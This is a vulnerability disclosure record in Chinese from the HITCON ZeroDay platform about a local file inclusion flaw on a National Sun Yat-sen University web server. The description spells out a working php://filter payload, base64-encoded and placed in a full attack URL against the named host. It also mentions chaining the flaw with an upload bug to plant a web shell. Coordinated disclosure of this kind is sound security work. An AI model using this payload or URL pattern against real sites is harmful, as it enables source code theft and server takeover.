中山大学本地文件引入漏洞

Vulnerability Overview

ZDID: ZD-2020-00625
發信 Vendor: 國立中山大學
Title: 中山大学本地文件引入漏洞
Introduction: 本地文件引入漏洞

處理狀態

目前狀態

公開

Last Update : 2020/10/02

新提交
已審核
已通報
已修補
未複測
公開

處理歷程

2020/07/14 12:02:21 : 新提交 (由 onononon 更新此狀態)
2020/07/14 22:25:15 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2020/07/15 18:09:55 : 修補中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2020/07/15 18:09:55 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2020/07/15 18:09:55 : 修補中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2020/09/13 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)
2020/09/14 17:34:51 : 複測申請中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2020/10/02 03:00:03 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

ZDID：ZD-2020-00625
通報者：onononon (onononon)
風險：中
類型：本地檔案引入 (Local File Inclusion, LFI)

參考資料

攻擊者可經由該漏洞取得後端系統檔案及網站程式原始碼等敏感資料。

漏洞說明： OWASP - Testing for Local File Inclusion
https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion

Wikepedia 漏洞說明：
https://en.wikipedia.org/wiki/File_inclusion_vulnerability

OWASP Top 10 2007 - Malicious File Execution
https://www.owasp.org/index.php/Top_10_2007-Malicious_File_Execution

(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

敘述

打開首頁，點擊最新消息。發現網址後面是base64。試了試發現只能引入本地文件。

結合 “ZD-2020-00624中山大學任意檔案上傳漏洞“ ，利用php偽協議讀取http://ccn.ee.nsysu.edu.tw/upload.php/文件的源碼。
php://filter/convert.base64-encode/resource=upload.php Base64加密後為cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT11cGxvYWQucGhw。

最後的訪問地址為http://ccn.ee.nsysu.edu.tw/index.php?link=cGhwOi8vZmlsdGVyL2NvbnZlcnQuYmFzZTY0LWVuY29kZS9yZXNvdXJjZT11cGxvYWQucGhw，得到upload.php文件base64加密過後的源碼，解密後發現可直接上傳木馬，getshell